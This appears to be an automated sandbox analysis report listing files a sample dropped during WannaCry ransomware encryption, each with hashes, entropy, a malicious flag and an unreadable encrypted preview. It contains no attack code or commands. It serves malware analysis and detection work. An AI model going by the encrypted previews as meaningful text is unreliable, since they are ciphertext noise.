                                      Preview:WANACRY!..........Zz..T..W...`8...9.X4.....4.|.u..;..i.....CR.$....|.u.4m.hJ.........f;T.A..6.,x..tO&..Y.T......<.-.wE^P...4..}..Z0;...r|s@..7...{Xmj....M.....VA...[.~.c.s6}....~...N.?..P...v.|......Q.E G.A........Oz.O...w...0#E1...dg........i-.U..W..../>U....n.......m..>.Dp!..y.,..3...4.GG.+9.Wc=.........f..@z_n.I...+x...#.V".....t'.....*.m.E?Zg.J!.X......f.hf....(.6..h..:x.*...='.......J.k*.w.....>"?67g.{.4....S`.e.K.....X....m.E.;B..TY.JDE....7h.t+...y...(.N?J.:..~Z..G.unb....)......l.....WY....w..>?$......C...J....o\.^a...hGW;<.../+.....(.~c........s.>.'...+......g.W4s...!.l...E.#.M..V...iI..?.M..l.cuz*..i..5.<.....f.D....s`C.@.....K5....P{-DYgzU....c.j.>..%.....D...I.9.5ed....;Zo......1.*..pIh@C.R.....g.H.D....K...d...f...zG..2F...#XO.5P92-.A1w.X/.....}.....B.!....G..Qb.s...h._...>.bZR.q....$i.{B\lSX.p..+.....W%.z.k.....F...Q...r...\..wE...t&...nz..b.N.)....2..._>..Nw9.2.L...+..).pb.F.x......9/G^u;..B[....Q>..a..a.Bx.a20.t.y...\.M..B.....

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_26[1].txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):799560
                                      Entropy (8bit):7.999750926023455
                                      Encrypted:true
                                      SSDEEP:12288:rHJDNrcpAqV8IvHBSumsELlt/6wzdJGggjp11sjs7oGPQTqapt9r9jtuGYK/:rIppV8IvHBS2ellzdJpa11cc8pt7H
                                      MD5:7C561C12008260A054C5CE0EE123B763
                                      SHA1:B00613B55AA62DB4496786B48BB7D8D9036D485A
                                      SHA-256:55AF048BD3F5AC8E949E2CE6E26D97C2F4FEF6CC3FF2EF8C7DD4FB71B726B50D
                                      SHA-512:CDE789FBFAAE54DF1B450CA7CCE2F527E82F04FA5286A07E2EFC09FE1698F23C68067BC58E82BD74EF0FF634D36F0E7D80FB154842C91E28F9F284CD3F259B46
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.......p....Xd.^.k.e{?V..(^o.....D.....78.'.;V.9qfV.WU...2.+....PN]...._5.Y..%.A.6..N...'..<.E...O..#.....y....zM...!...KPB5... ....L.J1l=.u..C..K\...p...rT...4.W......cpN.q1.{o........'..............a[.......\...O.o....._j.X[..eW..<5|k.t......K..../2........w....Z..zKM.<...Y.9...5/..{...k.i.....v.Y.....*........v<....n..'........3..5A.....I....g.@.....\z..v....A...(...<.{.Va.%-#..]...$....t.i.%.b.$...j..p5....).x.e.e.ZV..7..7.....(.0..3....z..%......g..<f.OH...c..K..i.n.BA`.Sp..v.3]..<F....E."J\w.....Q...9d.....l....YF....i7.. i.....)........nZOGre`.8u.n$.5H&Xt....U.m.....Y.5.V.-.)]ff..pL...M..H.:.e.....=..R..].i...8...\.....v..>.9.B<.....i....ki....!.8.b..I..H.[.Z.....h.+g .ox./!MW.......Y..V...mM.../.Q..K.].)..$;e..B.._..I./p.......r.R../.jK.p.h"/.b..w ....t1...I$.umdS...(...ap{H.o.||$!.h...N...T K....^.........?.o{.8E....A...7&..dgy..s.D..&.X..2B. .c.....1...m.....ex...../.z..I.w&G2`.P.......&....).....n.G....t$N.jqM....">.

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_27[1].txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):89144
                                      Entropy (8bit):7.998034408248181
                                      Encrypted:true
                                      SSDEEP:1536:ODqudLlGNvRUcJFBH/MUDICxtRsHT5N8Tv6IdkWHN6P+793wgFwOmGES2seG:qqWLlGNvicJDfdIw7sdS1OWt625wguRG
                                      MD5:00AB3B3176E62D62213659DD10321CF1
                                      SHA1:77119586417CAE971B9D5ED6CE3678CF78C82C8D
                                      SHA-256:A9478674930B9C2DA7068ABF871D16D6A39BC16C9527892B05FBB84103944B4A
                                      SHA-512:B6F057F1650BF4481B46F776EFE804A358A23F12939D2640B2D703125B806AAE69D34D47FEBC1D51F97BE774D038CA6A1D786456B23C866ACB37428211A2EA25
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....\...%.%..6./.N.0Q....f@.ub..[.kH*.&.@.b...PL.`\. ...{...7.e...9KNhrb.2...U..f...1..#...?.rk.........R....i....u}..;&.mB.~.J..c..q>..2rML.......yd..H............?o...9...;....0..M.........h-i.....c.Y...6M_a...h..hBie..-|.E.X.P....?kt.+....&s.^.... [......>.\.\h|v.Ie.u..>|.....-.JE...m"...KO........@......?.....v.......l..T....9..zA...=B.L...>...+.......X..d.A...M!K..nX.Z:......<s..[....z...`c+0.IXT.'_p...V...&(.Mj....P.o*.|.u...+p`......\."n.#..Fy.,$.2..h6..k.5....U..B+.6v..r..S...N1...k..\..s.!..a.n.).....-_.S..`..<moR..&J:..l..}5.v..'.u.@b...../.. .l..?D.t.......b.4.-.g|/...k..O..pI..$#]WK....h...Z...=.Ce/g.ey."S.i....j..kSp.^.....O.~..Q..s3....[.T.....=...._..sHl..si...*.t....-(..%..G[I.\..C.B}..,......{.TdFp..|..:<B.'..}.[.].3_.CN2.............F'..I........xW....A.Z..W.....R$......QQ.....%6.%....y....G...[......B.oaAk.....01..8.=.@I.)~,+...x5.a./.Yk*I...Os..<..E..%..(.l.?&...L..XSM..E...L.WrP.o=...cQ... .^v7......^.a...

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_28[1].txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):186072
                                      Entropy (8bit):7.999002449598983
                                      Encrypted:true
                                      SSDEEP:3072:t7j6gyKHRehpLwXEbjVbAvMzjt9lx2shmm7CB9j05fyBht4qJP/FLLHZy:9/yqR8pyWVb3jLlgshmv9YyBLjJFLLM
                                      MD5:2B06D0EF4311884602CE091DFDDED990
                                      SHA1:8F22860D217A27E43FD1BE3C20F75693243A94EE
                                      SHA-256:CFAE84E739C205702089CF47B9E8AB44B600E46AE77F6B8DD3D5BDB444F67F37
                                      SHA-512:FB2212CC8AD9FABCBB420F47FA3CB7EE402DA5FEFDFF216CD80022E90AACEA0342ED2FBA48311DEBCE55E358B723D48D089D0C5246C62094AE62495004B9FB55
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!......Y#.......6.i/M.)....es..9.W5...7.<G8.PG..N.;..Jd9.Kn.I.i..$....x.....pI...(...._...B...........~...r..x.p..D...*B..1....SE..L.<r..]..n.K.d>.;@.......lMM.l..9.4p...2^....,.Y.V'.O:...j...............{...d.n.{....u5p.qM#.6b<..G\.s.p.s..............+..F..L.9.(7w../....WF.....N(t.......S.<..L.G.!M?..lJ.....~:...Vw\......*OV..85+.q.'`G.\...mn..>...t...E.z$n..N.....2..|>.Sb.8%|......C.....Bu{.2.xV...x..).....{....W.D.)T.6%.......Z.o.*..z.b;S..r....6?...<.).....).Ly.....'.%...VT.....-.Sd.@p,.`._u.u.[..f.V...`.N.......f.w-.v.{.}'...<^o.S.C.(-...P....k...Us..C.t=..W.z76xQl..n......B.bR...@v..-..d..I:.....[.A..../..1...ME=...u6EF.JA.A0..+..,...$.d(...w.....}...GD1.t..>..8g..[|br.....}./BV..r .-......''.Ke.7K:.;.:O..m....)/s#...F....L..........u(....249..........I....#1....-D..%.X...qK...N4.O...E.F=)"CF.1..GYU..WRd.L.Z..e....B...S?.P....g..X..n.....Y*.....8..U.EO\O..G>Ge.....|.......C8..r...q..U.ll.=rv..V...3i.-*..K.....

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_29[1].txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):17736
                                      Entropy (8bit):7.990186234160737
                                      Encrypted:true
                                      SSDEEP:384:rt6aNY2RW9LC15EkeiHnK1yETX+JVB9jwmmFE/GHqT:JN+9oSbOEKZ9ULEuo
                                      MD5:333D9AE29DA073CD0577BDFD59AF6C81
                                      SHA1:42A89FF86565B10D638A0B191A26EE60DF578758
                                      SHA-256:C7F3BA7B849C03FD0BB6C09963AA88DADAA059472B535BC7A77840A7AE10052E
                                      SHA-512:CF36F1579911AE221453D088AB9CB86EF83057F70EC5D4BD3B1D6164A955BC730315C7F26450EDD438C62F56DC880DC0DB1A6BFFB93F3F3FEDB3BA8B6D86D187
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!......m.J2..%..[=8...1......Hz..?....F....3.:.R....1s .O...%.....!.....M.....3..wt..35g.......t....e...Q{w. ..`%$.^..E?Vm..w...).T.g.3u@.(b..3.....Z.,`X.{....8..j.....S..IV3.'.<.....G...f.9u...1P..,+..4.bR..eM..Rv.zyL.v.>......iX.h&.r.9\..J..5.p@....(D.......z..p..fNp..../......$.+F?.n..f2=.B..._.VUb.x...8.n..a .R.O...5@..1.vr..5TwWV..V.1.O.....WHe..a8.^h.O$U.Ta.PcA...u.l.C.....AY.SQu.-......9 ...P.8..2..Q....p.<.T.*...8.o(...8w.TPI7..roL.GL...=.]"A..b.dmA.+R..X.W.s][L.{...9.F........... .~...8......i/..w.u....Q.d.../.1...^.1.i.3Njk`.H.zRK.n...?.....>..h......5..)........:.!.3.q0..Z.'.A....[Az...njY.H..9......7..dE}hU.../....+.&.eN..)3..-.....?.3(.wj<..#.I....dL.u.P....lq.w].C...f{...l.Si....3......o.........Uq... ..zF...2.8...1...c.88......Y...; v%.g.....q.....M.iw..u!.c@.....k.J>,..u1.......%...A9!Mf.3..GtU.x...f.h..|..Q*.6.{....&....q..2....=.@h..a`..O..8....}.>s..C..}.Dc8c9A_..<..[E s.PE...E.j......,.k.Qy.f.@.S.P...0.m0.W.(-).Y...

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_2[1].txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):73912
                                      Entropy (8bit):7.997611920999735
                                      Encrypted:true
                                      SSDEEP:1536:yrjo3/iOCA+VPTfo3wYcSZY4zLui0OjJV1+tvV4XA1/MDTL:yXo7CA+VPTcJcSZXzLui06Votb2L
                                      MD5:C7E0A2304BAE0D419679A2875E722A4F
                                      SHA1:2C90E8A4CD39455396D45A2F2C66E38D309DC28F
                                      SHA-256:30D17FEF143E791050FE4A2546E2BBB714E419865ABE99DF044BDDB4E8A51185
                                      SHA-512:7DF488C8F2C4CFF8539F36DC521D174CB499CC44F203582952397312ED75746A16A9814B756C0D4DB4D301D172237EF8A077360D50218C7F36820761B8DBAB1B
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....A..^..`._N...............&.EU9?T.T#.u..J...2.{.k...V.>#G`.Zz.....a.~..?..:l`m..m.P...Q.u).eg....<1.2.....d..gq.B.y.,.^}.6.".z....!...Xn]>.4.Y9\!Y.M.,+k...=...._.....5.t.A]...D.-..".]...j...5.9&..R....V.....C..........|K..}..p-u. ....g......x............K1e.d.7..q......j.{..Fj..%....V.{....I..Z.....Q.$.......{w&-+40.....k. ....$cH5.I....BD...Q..Ur..D....5.r..i?.h_@;.......D3......[.Do..E7r.t?...wi...-H.yLA.a.c+.Y!.,k.n....L...s\...u..h...P....oH+..7m......3.ny...xj...D...!...F|..V..p..d`.5WZ.e.H.z.>PId......_h.h_J%..Uy..<.".......?.|l.Z.48q..7..`.^......T...G...]...<........[...6...p ..fT...7|...GE6.......g_@.E%v.....vy3s.-m...-i..w..h...%.9'.P..~....S.)............%qU.K..:....:{^.1.UA.,6..u.~....d.(...........N+. ... ..../..=...qT.&.....V.......6.vuC.....y.?.....5.xv.T2.=.H........E..5.\....-ua-..x7c..(<..S.O'.D.....8.<Z.S!......MC/..!p..uaK.A...d../_.s.....bx....?.g.e.\.!......_......V..)=?!..*.I..x.Z.(.CT=...xR..r............-..z

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_3[1].txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):19336
                                      Entropy (8bit):7.991293570868363
                                      Encrypted:true
                                      SSDEEP:384:YP8ZStGpUvDOMYh2E0A5XUogHtF1j0cXwQJihFXq1JGKHjMVZ9jnKUdqPUgee:Y2D2DW2E0ASftF2RQ25qLGaQZ9j8Pt
                                      MD5:907FC8E4E76460D2FA107D48442B4149
                                      SHA1:4D77A01B9BB431F631DF042EDA55FCC8C3CA1EED
                                      SHA-256:34F0428A62D611DA27662B4ED67A74315EFE48A799C32CC3DA9990AC3C620DD4
                                      SHA-512:E85C3EF2C7FF55FD45A2B2392A61390DAEFFC57F855E8C202D1AADACEFFF24382BD0182988D46DABC577A9DBEF3D3BA40CA23D20DBD4B3F5EBBEEC2A80C1E89F
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....3..T.?.S.i.......e.&F..6$.o..g`..}...d..(.X..PyBMV...6X.........H.E.......1X......=c0IT"..@.......V..2J0..E.B...A.....e....&.S._.U.w.q..%.G..I.#..c..H...c..S}...-..e.5.............4.'.e.....Kp.j.B..7..P...E.\......p;\......m.IVj..2-2Nz...Z1.(......pJ........ .qa....c.H7..c_.E.N..6l.....(......s.w. Q.......BzA.....$>xo$= z.f........p.f...H.k.:...k..=.....J>.R..h.53.....8,&. ....2....n.....B...DH..g^..P...c.d<..,.. SG3.=.Fp'..s.~...q. 4...z.L..w..6.54...2...P..677tp.&..)<.u.(...-&.......xY..K]&.....m.%p.p.G...-l...E....\_.".g....(XD.3.O...d.b%..,.(....a.?..x.#Q.d....<....p....q.n..n&+r..7.....e......U.f...X7."Ug. %T..Q....{....w"xa..x"....q.=}........&.'.....`...okK..r.o%....Wg......^.2......h$:..P=....u..B5..q...Ta.b Wv.Lt..[./......1..pW.]y)......#.u.vq+.....)hS....t~p....$.{.w....v.....FO.0\...|.d..@..-.e..L......mF>........|..`YZ.h.W.Wu.tXS..{Q...............k.h.%............v.P..]Y..z..G.......F...[Z......`.G.m...nN...f..

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_4[1].txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):20680
                                      Entropy (8bit):7.991844193237291
                                      Encrypted:true
                                      SSDEEP:384:d4cw0387D3Tzg69vCm735f+/KJOHu4YhjNexA+89i6xWGxw7Lwz/vdgB:Jn387bg696O32KcHu4INMA+89i8WG+Lp
                                      MD5:97AFF280D6CE723BCCC7424B41754553
                                      SHA1:0CE90CAADBC13210768CBED976E4117A5AA2FC8A
                                      SHA-256:5DBC303FA5C5E7A16B5B828C3467C6CE2ADB07EF09E589253112F9F25FDC1676
                                      SHA-512:0C83BA68E3A8F7D8FC47913D26DE7C32CCBBA0011498BFBA0A33364D200E55472DCF8133620B6D29943B2662C1AFAD4058046B5FF4BA4A47079778BEE2DC758F
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....{.X#....0h1...k.~*......S...-.|.....8...R..............2......._...C...N....yE...e{.....bc.j......]n...O..O..-.p....."&..t{.p. .....L.?....C...........Y.S}z%.c`.....U@.".......<.X.B3.....1l..._....h...i.9..!...1..-v9....g...}A.;4.+.[.....%o../O.....O.......~7#f..X.......P../W..$.cp&Kk..O'...o!x}..[....-....qL..........'.&g..r "X.%....`.........g.Q....-.$...MX.x..v......r=...H...K..@...bS.r..y.....o.d..B./^.7l.U....(........^n..G...N.+..Z.....<O..$d...7.........=...;......'..}..8.afj..v...H.....D..cuR.G.Wy.C{...S..1=.N...*..s.....;....T..qwL..t.P..x........{..D.o..MIZ17..6P\.{....O]..J....@.qN..)F.....F...Tey..'..i........:....#....U.q...V.....bW9.|.^u..."....U...!.7n+.L(5.}w.4....Dpg................i(.......8.....z.f7.mNv...o...5..OA.....!.p.F+d)..p^.Q.}N./l.^.i..af..,..6m.D....|....K..Jy)....F(zF.S[.r.5..H....r>.z9)h.F.Yl...p..J1.,h..h....A..A......g...*gaP.g%.E..O=....vD........B.....Y..d.T.W'.m.yU.F:..~.....s E...?k...3..o.s.....

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_5[1].txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1608
                                      Entropy (8bit):7.875525945439441
                                      Encrypted:false
                                      SSDEEP:48:bk9jQweXjODy3S2xJgWveJmY7kxQS+M23gZZ6:o9jBoSebxfvzfJ2Q2
                                      MD5:8BE999BAACD3FCB0039DE923C568CC60
                                      SHA1:50D5BFAA6C3E23C3D0D2C958C734C84FE0F72A30
                                      SHA-256:C364ED2F256BD431C03E4C39EF9B53C5E0515D3A1D81B030A9BC2779A02D6239
                                      SHA-512:6AC1F84D5C122FE98893308946AED4DD28AB184399C188F3C2A2A8E0EDABE7E387738EFBF00C1077940680812D57C05BD85E8E4D1719B7B3459158BD47135144
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....D.;.b.W..I)....._.a.... !.f..nC.s.L.k.J..v2".......A/.W.uwOY.';.k.b..6..6n..!..-v.QPwY..(P..9._..aZ..1..?U.+.Y..F0Lo...F.h...`a.#.......d;.fx=..}ik..c.I...:..]~..^";.k..%...U....3...aN....I[sXU..?*.i;j...._.(*.......?Z......~.B7..J..];.8......~h}....$.......J.dN...Xy#<..`..q......;..o.G......G......|....UyMM_.s.W...(.0./..E.i....?^7.5I.(....c.7...*.n........h...o.6>P..k....=[..E...W;.x..'...g..QNN...4^P'..q.3K.......+.5{....^.S.[...4~. .L...]p;oI.._...T.&..z.N......c.F..^.8.......~...F0..)A.r.......\.....M.1.pa...5..8a}...<h..[....k.M....E8!Z.?..B....y.RW.S...T...u(..nX.h.n..t.nVj.&.w}.X.jO@..J..kO.%..:......tx....c.!!..L.MQ...h>.../.9.2.i...&K...8e.....Y\i.=...........~6.K.Iu..B......I.pH..@.*LYw=I...Q.j"Jmxy,....w..e....4".5....9#.&....2.^.4..AD.F...k./Ma5.b...Z....o..tZ.,=s...]..v.YS.C...[..d}..f/..W...9.......=.U...@...`)J..*.....0M5...Q...?..-l.."+.Be.QC.I...3O..e/0{..............NH"y.......[..<...mD...N...u.......Z...-.$

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_6[1].txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):37464
                                      Entropy (8bit):7.995487321710083
                                      Encrypted:true
                                      SSDEEP:768:Npnydha+hUep8sEVIP+CBv82at9zckucuqdER4bJMGsK:NVOaBe5PLBv82aolcuCESJMGt
                                      MD5:266F22B99310EA8473C10BC09873B1A1
                                      SHA1:427BA125C8E82C9D0E8EE005401BE8161A4EB94A
                                      SHA-256:B8960047872D47E6FAF2C4243517703596D3B0D99F080441EFB9B26868B9EBDF
                                      SHA-512:0A696DFB87EBB06A8599D40612B9726AE4E114E4768F0C094160F480AA082DA302322BB3BA9E29446EA8F7D79B26C4769FB112DAA10CEA458D1C40996465CFE4
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....r^..E...LA>.)..w.7....i.O;Fs...r..cK.09.A...%.Z.m)$&.n.[.Rq....G.).........P....7O....`.0g.X.....`.@..<.v..J..9.-.|Y.3j.)..(.n..F..C..b...I.q...J.../......w..93B.V.......-.....8.1iW..M.G....)...b...oD......\..x.6.6..v..Lq$.M..x...wP-.....=.......v.g...~M...buW-...b.o.Q.q0.. ....=...o]t.....Vj=...XP..,C.N......._.v'.8m.."..p7.,.to..'K...-P%....#s.1..P-.\.g....;.$..5."F.$)D.O.Z.._..H F.I;.r.$.8D.K.v.IWg...n5...i....s....)......*.D...u..Z..E....d.:[..@c..w)...\T>V^Vl!.D.P.......0U`....w..:(?.7..\m....XUnlp...5.Wc.&l.(..w..g.I3f.....Zht....Y.._.^.pec.Z.A.y.d.F...;..-.....r3..f.......F@..@.V..X...~...q.6..Rc.M....<.Y%.uP........cP.t.....#....FP..&.{.f.)...^......#.......,3.l._|5.z...Q......^.. .w(.......`"..p.."..0...."ac8.an.|....em..s......[.I..{..y..A9...........`..q.;s...\..Zg.....,.c...yH..`.&#.R....]...kS..r"7..EI.).D...`.f.%.e..G8..5.k+.F.).U. ......[.Pr...h.I..c]....>6.S^.]....e.Du....4......C...h.d..{,.....o<.

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_7[1].txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):168968
                                      Entropy (8bit):7.999066757673874
                                      Encrypted:true
                                      SSDEEP:3072:IRqTjYLcR4JnfZs1omiJpAigPEFUD3wAI4r4TdaWWjGWODyEkp5m90A:dnic4tGomiJa/xDAAp2mjGWOX9mA
                                      MD5:FB4847C570B2951D7E8A5C07D92D308F
                                      SHA1:42390822E60EFCB9FCD74052B917C30A846FBD9C
                                      SHA-256:6F963BE6C7AAD6BF12E0B8C600BB822B933861696A386CD2E0626542DB8BBA5E
                                      SHA-512:920E84811DB9BC05C7084F6C2C56CCAF2987948F0EBC5448E5B1C14CF56CF1541946BBDED0507D510FEFC37ED77C30689979450A7932519F4938EEDABA9D7F61
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.......n.\.'%.7...V...}..I...g.+4....G...[..|.9.5....y.h.D&'...F.3.V.O..U.P.w...........~.U.^...!I..!.D....=.dz.k`......s......)....!y.b.k...f...si.s....\.X.r':.o...<.~.Tn7H.p.6=.cs....3[`.X-D..1...vO..F..v.>+...y1:..w+(5......xo....K.....5.w..U.1............dsJS.....z.P-.8O.'.3...[I...xl*.:..HZ.Pu..5.........w.j#D..f...J z...[.X.....q....aV.\%...MeyXm.f4I.=&.......J..........X.w.4u..r.k-...X.Ch.t.. ...&_dDtq......%...~p...z..!.!...Ak.a....G.r.wH....n...|d....tq..A... .....}."i`v....)L.a.}.bZ...w..LU.s.........gC.........9m....j..RRT....RE.!m.@uW......r..=m..6/...;.R..9Sr`L.>.u...0.+.c.!............6*4.-.c...n.dvl....>4[.8.AA..j..7.{P3m...b..Hd...6....yx$.X..X..t.......9&WQq*xn...I......J.%...lP.....U.'7..b.C..y.<.......'..n|G.[.0j..n F.).3 .4.*.....\..EB|QR...w.@.^F...?..&....m.E....K."2.;8.+.tG..3q..<`...Q."0 ..(.......8"...)......o...J.....F.G.*)..9hk.,..,..\....q..)e.#.7TV..?.?..~./..~...FN........k~.l?..YYMj.I...WQ.Z.xH.....M

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_8[1].txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):51224
                                      Entropy (8bit):7.996084095009333
                                      Encrypted:true
                                      SSDEEP:1536:gVgQs81Vml09Wd3oxpsOW2CfsRp9c0psPv3zy0rnfcMTD:gCQsqmm4+sO4fKpmJvTD
                                      MD5:3E3FC5E5CAC80C283968AB2B4208616E
                                      SHA1:5971159C670C756CA27CD268F59167ABA1762818
                                      SHA-256:3215520175ECAF33D8241D8CA9F67A89BB06B7B922DA61C632A38D13D37AC8C9
                                      SHA-512:638ABF9C6FC9D84A28AABB2AEB5E7FD59B1A54752347A5D9686259FE5AACB63BB765F210E109881CA75FA2B2F315A11D65A934343D4CC8EAF122AF77BD2B4E1B
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....e.....fUa.M..).Pa..n. ..i.=.i.....H....r.G..g...._o..C....f.~..i.i.......\.o.c5V.I...\.)u....2..a.r...2..B..q..g...&....o&....~....K.l..ss.,......>.Y.xF....s.O..s<..^67.P$".T.).`>/.q5.G".e..>...{q......'.._.....+...4w.....Z.."'OV..I...ckOX.....P............v..x:..6K..e.#Q..);)..u..~.K(t.+.c.z\........m.&M.U.z.....H.....]V.NY,....q/K....Qm$.t.......k....^[.^.......(...a...'...&..:]j.A.)..T0.tB..O..L..S. ..-)...:E..YX.v.{..g..h]i:./|..0:...y.C".&..=...J.....Y#.e^.@...${N...V\h..?=.....n.,(.:..o.TC..[./.UK....m_..R.L.N....o+$..-s..........zUD..C.9A..g~.,.....f.P.e...d|....(......zOZ.hG.FJI....V........{_...6..tQC..._. ....6M..=.)..H.......@..eL........'....{....'.BU8Y..p..[!..,<I...M.d....."7).M0..o..,.M".....]`,.T..N>....So..7...k..^...L..9m..}.}"..aW..=N...;2l.q..Y.]...KR(.7_..EW.c...w..V...>Cz...zt.t.pl.U ..m.jo.O.....I..~.M.....}..I...=C1P.x...aF=....*..81.m..#..".2.~.N_."1m)......n=u6..D.....o-...{...<%.=.+\>.....T.....kO,m.

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_9[1].txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):69016
                                      Entropy (8bit):7.997191609607533
                                      Encrypted:true
                                      SSDEEP:1536:eafT/nOFsSq1lB1dzmzRwMFzyMeJYi2PZJpDHEl9MxKJBwPlQ:tfT/wa1n3mzeMFuMeZ2tDkUxKUP+
                                      MD5:3E18CEBAD9F00A12A6311C90AC55E692
                                      SHA1:68336063D9250A924DB3EDB4998D2E493BCFBE4C
                                      SHA-256:6BCA09065F198E7385C43FEB4EEBAE5EC3C8CBB5E2F5D525916E9AAA875D06CC
                                      SHA-512:55ABAAFC1816400EB6979CEF733BFBA38481E4D6A19DF9F0B3BCA1A9529E434010A3A1D9C17E23517E0AD29F2599ED57C8091B8FC83CE4691705869708272E36
                                      Malicious:true
                                      Reputation:unknown
